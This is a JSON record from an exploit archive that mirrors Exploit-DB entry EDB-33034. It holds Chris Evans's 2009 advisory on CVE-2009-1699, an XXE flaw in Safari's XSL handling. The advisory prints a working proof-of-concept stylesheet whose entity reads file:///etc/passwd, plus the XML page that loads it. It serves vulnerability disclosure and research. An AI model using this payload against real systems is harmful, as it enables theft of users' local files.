{"exploit":{"id":"EDB-33034","name":"Apple WebKit - XML External Entity (XXE) Information Disclosure","description":"Apple WebKit - XML External Entity (XXE) Information Disclosure","cves":["CVE-2009-1699"],"author":"Chris Evans","published":"2009-05-08","platform":"linux","type":"remote","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/33034","path":"exploits/linux/remote/33034.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-33034.txt","vulnerabilities":[{"id":"CVE-2009-1699","state":"PUBLISHED","title":null,"titleSource":null,"description":"The XSL stylesheet implementation in WebKit in Apple Safari before 4.0, iPhone OS 1.0 through 2.2.1, and iPhone OS for iPod touch 1.1 through 2.2.1 does not properly handle XML external entities, which allows remote attackers to read arbitrary files via a crafted DTD, as demonstrated by a file:///etc/passwd URL in an entity declaration, related to an \"XXE attack.\"","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-1699","cvss":{"version":"3.1","baseScore":7.5,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-1699"},"updatedAt":"2024-08-07T05:20:35.119Z","retrievedAt":"2026-11-27T17:08:21.383Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-33034.png?v=2","url":"https://exploitbin.com/exploits/EDB-33034","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-33034/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-33034/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"source: https://web.archive.org/web/2009/https://www.securityfocus.com/bid/35321/info\n\nWebKit is prone to a remote information-disclosure vulnerability.\n\nAn attacker can exploit this issue to obtain sensitive information that may aid in further attacks.\n\nNOTE: This issue was previously covered in BID 35260 (Apple Safari Prior to 4.0 Multiple Security Vulnerabilities), but has been assigned its own record to better document it.\n\n----------------------------------------\n\nSafari prior to version 4 may permit an evil web page to steal files\nfrom the local system.\n\nThis is accomplished by mounting an XXE attack against the parsing of\nthe XSL XML. This is best explained with a sample evil XSL file which\nincludes a DTD that attempts the XXE attack:\n\n<!DOCTYPE doc [ <!ENTITY ent SYSTEM \"file:///etc/passwd\"> ] >\n<xsl:stylesheet version=\"1.0\"\nxmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\n<xsl:template match=\"/\">\n  <html>\n  <body>\nBelow you should see the content of a local file, stolen by this evil web page.\n<p/>\n&ent;\n<script>\nalert(document.body.innerHTML);\n</script>\n  </body>\n  </html>\n</xsl:template>\n</xsl:stylesheet>\n\nTo mount the attack, the attacker would serve a web page which has XML\nMIME type and requests to be styled by the evil stylesheet:\n\n<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<?xml-stylesheet type=\"text/xsl\" href=\"safaristealfilebug.xsl\"?>\n<xml>\nirrelevant\n</xml>\n\nFull technical details: http://scary.beasts.org/security/CESA-2009-006.html\n\nBlog post: http://scarybeastsecurity.blogspot.com/2009/06/apples-safari-4-fixes-local-file-theft.html\n(includes 1-click demos)\n\nCheers\nChris","sha256":"f51743bacf2381142957ddc4a41b3d5ecb052276b3c6af63a0baecc3f1afec39","bytes":1618,"fetchedAt":"2026-11-27T17:08:21.050Z","encoding":"utf-8 (display only; download retains original bytes)"}